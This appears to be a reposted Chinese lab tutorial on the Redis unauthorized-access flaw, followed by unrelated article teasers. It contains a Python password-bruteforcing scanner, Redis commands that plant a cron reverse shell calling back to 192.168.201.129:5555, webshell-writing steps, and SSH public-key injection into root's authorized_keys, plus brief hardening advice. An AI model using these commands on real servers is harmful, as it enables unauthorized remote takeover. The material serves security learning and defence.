redis未授权访问

redis数据库基本知识

redis非关系型数据库

redis未授权访问蓝队的成因和危害

漏洞的定义:redis未授权访问漏洞是一个由于redis服务器版本较低,其未设置登录密码导致的登录。

攻击者可以直接利用redis服务器的ip地址和端口完成redis服务器的远程登陆,对目标服务器进行恶意操作

黑客可以直接利用redis的ip和端口对目标服务器的登录,

漏洞成因:

redis版本过低,低于5.05

redis直接暴露在公网上,没有设置不能公网访问,而且端口是默认端口

没有设置密码认证,可以直接免密远程登陆

redis未授权访问漏洞的成因危害

攻击者可通过redis命令向目标服务器写入任务计划来反弹shell,完成服务器的控制

攻击者可以通过redis命令向网站目录写入webshell,完成对网站服务器的控制 

最严重的是redis‘是root权限,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害访问

漏洞复现

靶场搭建就看这个文章吧

漏洞复现之Redis未授权访问_redis未授权访问漏洞修复建议-CSDN博客

直接空秘密未授权访问,如果不是空秘密也可以弱口令爆破

#!/usr/bin/python2
# -*- coding: utf-8 -*-import socket
import sysdef check(ip, port, timeout):try:socket.setdefaulttimeout(timeout)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("INFO\r\n")result = s.recv(1024)if "redis_version" in result:return u"[+] IP:{0}存在未授权访问".format(ip)elif "Authentication" in result:with open('pass.txt','r') as  p:passwds = p.readlines()for passwd in passwds:passwd = passwd.strip("\n")s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((ip, int(port)))s.send("AUTH %s\r\n" %(passwd))# print u"[HACKING] hacking to passwd --> "+passwdresult = s.recv(1024)if 'OK' in result:return u"[+] IP:{0} 存在弱口令,密码:{1}".format(ip,passwd)else:passelse:passs.close()except Exception, e:return u"[+] IP:{0}已过滤".format(ip)passif __name__ == '__main__':port="6379"with open('IP.txt','r') as  f:ips = f.readlines()for i in ips:ip = i.strip("\n")result = check(ip,port,timeout=10)print(result)

把密码卸载pass里面,ip写在ip里面

漏洞利用

写计划任务反弹shell

192.168.201.128:6379> config set dir /var/spool/cron/crontabs
OK
192.168.201.128:6379> config set dbfilename yue
OK
192.168.201.128:6379> set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.201.129/5555 0>&1\n\n"
OK
192.168.201.128:6379> save
OK
因为在ubvutun里面,不是centos所以,写入的目录也不一样

Centos的定时任务文件在/var/spool/cron/root

Ubuntu定时任务文件在/var/spool/cron/crontabs/root

共有定时任务文件在/etc/crontab

但是在ubuntu中由于root权限的redis创建的文件权限是644,但Ubuntu要求在/var/spool/cron/crontabs/中执行定时任务的文件权限必须是600,如果写入/etc/crontab,因为存在乱码,所以ubuntu无法正确执行。

但计划任务已经写入了

写一句webshell到网站服务器目录

差不多的,shell.php是文件马子,html是目录。然后就是内容。保存一下,访问这个shell.php链接后门就行了

前提,知道网站的物理路径

写ssh公钥实现远程登陆

首先在目标机中运行的Redis服务必须是root权限,否则无法对ssh存储公钥的路径进行访问

前提目标开启了ssh服务

└─# ssh-keygen -t rsa


kali生成密钥对

查看一下.ssh目录

其中id_rsa是生成的秘钥,id_rsa.pub是生成的公钥,我们需要将id_rsa.pub写入目标主机中

进入/root/.ssh并将公钥写入key.txt文件

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt        

将key.txt文件传入redis靶机

cat key.txt| redis-cli -h 靶机ip -x set pub

直接复制可能会出错,可以险些redis-cli-ip

将redis文件路径设为/root/.ssh,文件名为authorized_keys,并save保存

1)./redis-cli -h 靶机ip

3)config set dir /root/.ssh

4)config set dbfilename authorized_keys

6)save

成功写入ssh公钥

root权限,这个在有一定权限之后拿来提权挺好的

redis安全加固

升级版本到5.0.5以上

默认端口修改一下,并且不暴露在公网之上

设置密码认证,防止免密远程登陆

利用防火墙,ids ,ips对访问redis服务器的流量进行检测拦截

ping

an

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/27947.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

为什么笔记本电脑触控板不工作?这里有你想要的答案和解决办法

序言 你的笔记本电脑触控板停止工作了吗?值得庆幸的是,这个令人沮丧的问题通常很容易解决。以下是笔记本电脑触控板问题的最常见原因和修复方法。 触控板被功能键禁用 大多数(如果不是全部的话)Windows笔记本电脑都将其中一个功能键用于禁用和启用笔记本电脑触控板。按键…

Elasticsearch机器学习初探:智能数据洞察

在当今数据驱动的时代,企业越来越依赖于数据来做出明智的决策。然而,随着数据量的不断增长和复杂性的增加,传统的数据分析方法已经无法满足快速、准确洞察数据的需求。为了应对这一挑战,Elasticsearch引入了机器学习功能&#xff…

民生银行信用卡中心金融科技24届春招面经

本文介绍2024届春招中,中国民生银行下属信用卡中心的金融科技(系统研发方向) 岗位2场面试的基本情况、提问问题等。 2024年04月投递了中国民生银行下属信用卡中心的金融科技(系统研发方向) 岗位,暂时不清楚…

关于反弹shell的学习

今天学习反弹shell,在最近做的ctf题里面越来越多的反弹shell的操作,所以觉得要好好研究一下,毕竟是一种比较常用的操作 什么是反弹shell以及原理 反弹Shell(也称为反向Shell)是一种技术,通常用于远程访问和…

C++设计模式——Decorator装饰器模式

一,装饰器模式简介 装饰器模式是一种结构型设计模式, 它允许在不改变现有对象的情况下,动态地将功能添加到对象中。 装饰器模式是通过创建具有新行为的对象来实现的,这些对象将原始对象进行了包装。 装饰器模式遵循开放/关闭原…

element-plus 的el-scrollbar滚动条组件

el-scrollbar组件可以替换原生的滚动条,可以设置出现滚动条的高度,若无设置则根据容器自适应。 通过使用 setScrollTop 与 setScrollLeft 方法,可以手动控制滚动条滚动。 scroll 滚动条的滚动事件,会返回滚动条当前的位置。 &l…

SQL 入门教程

SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系数据库管理系统的编程语言。它被设计用来查询、更新、插入和删除数据库中的数据。SQL是一种标准化的语言,尽管在不同的数据库系统中可能存在一些差异&…

【TypeScript】类型守卫

跟着 小满zs 学ts,原文:学习TypeScript类型守卫_类型“{ rsfid: any; rsfname: any; cycletime: any; sor-CSDN博客 类型收缩(收窄) const isString (str: any) > typeof str string || str instanceof String;typeof 只能返回有限的字符串类型&am…

snap nextcloud 通过不被信任的域名访问

安装向导 — Nextcloud latest 管理手册 latest 文档 find / -name config.php trusted_domains >array (0 > localhost,1 > server1.example.com,2 > 192.168.1.50,3 > [fe80::1:50], ), vim /var/snap/nextcloud/42567/nextcloud/config/config.php vim /va…

pytorch--Pooling layers

文章目录 1.torch.nn.MaxPool1d()2.torch.nn.MaxPool2d3.torch.nn.AvgPool2d()4.torch.nn.FractionalMaxPool2d()5.torch.nn.AdaptiveMaxPool2d()6.torch.nn.AdaptiveAvgPool2d() 1.torch.nn.MaxPool1d() torch.nn.MaxPool1d() 是 PyTorch 库中的一个类,用于在神经网…

ISP图像算法面试准备(1)

ISP图像算法面试准备 ISP图像算法面试准备(1) 文章目录 ISP图像算法面试准备前言一、ISP流程二、重点关注1. AWB必须在Demosaic之后进行。2. Gamma矫正通常在CCM之前进行 三、如何实现ISP参数自动化调试四、AE,即自动曝光(Auto Exposure)总结…

【太原理工大学】软件系统安全—分析题

OK了,又是毫无准备的一场仗,我真是ありがとうございます 凸^o^凸 根据前几年传下来的信息,所谓“分析”,就是让你根据情节自行设计,例如如何设计表单等,这类多从实验中出,王老师强调好好做实验一…

【面经总结】Java集合 - List

ArrayList 要点 实现机制 数组 扩容机制 初始容量为空列表&#xff0c;第一次插入后扩容成默认大小 10。 添加元素时如果已满&#xff0c;会自动扩容为原始大小的 1.5 倍。 类定义 // 类定义 public class ArrayList<E> extends AbstractList<E>implements…

Mybatis框架中结果映射resultMap标签方法属性收录

Mybatis框架中结果映射resultMap标签收录 在MyBatis框架中&#xff0c;resultMap 是一种强大的机制&#xff0c;用于将数据库结果集映射到Java对象上。它允许你定义如何将查询结果中的列映射到Java对象的属性上&#xff0c;尤其是当数据库表的字段名与Java对象的属性名不一致时…

Web前端成绩查询:深入解析与实用指南

Web前端成绩查询&#xff1a;深入解析与实用指南 在数字化时代&#xff0c;成绩查询系统已成为学校、培训机构等教育场所不可或缺的一部分。而xWeb前端成绩查询系统&#xff0c;以其高效、便捷的特点&#xff0c;赢得了广大用户的青睐。本文将从四个方面、五个方面、六个方面和…

HTML静态网页成品作业(HTML+CSS)—— 明星吴磊介绍网页(5个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有5个页面。 二、作品演示 三、代…

小白月赛96

小白月赛96 a最小胜利数b最小操作次数c最多数组数量 a最小胜利数 最小胜利数 只要有一个超过6次&#xff0c;那么便不可能反败为胜求出两位选手的题目差1&#xff0c;即为反败为胜的条件 ac code #include<iostream> using namespace std; int main(){string a;cin&g…

TCP与UDP案例

udp不会做拆分整合什么的 多大就是多大

【Spine学习08】之短飘,人物头发动效制作思路

上一节说完了跑步的&#xff0c; 这节说头发发型。 基础过程总结&#xff1a; 1.创建骨骼&#xff08;头发需要在上方加一个总骨骼&#xff09; 2.创建网格&#xff08;并绑定黄线&#xff09; 3.绑定权重&#xff08;发根位置的顶点赋予更多总骨骼的权重&#xff09; 4.切换到…

Orange_Pi_AIpro运行蜂鸟RISC-V仿真

Orange_Pi_AIpro运行蜂鸟RISC-V仿真 突发奇想&#xff0c;试一试Orange Pi AIpro上运行蜂鸟RISC-V的仿真。 准备 默认已经有一个Orange Pi AIpro&#xff0c;并且对设备进行一定的初始化配置&#xff0c;可以参考上一篇博文开源硬件初识——Orange Pi AIpro&#xff08;8T&a…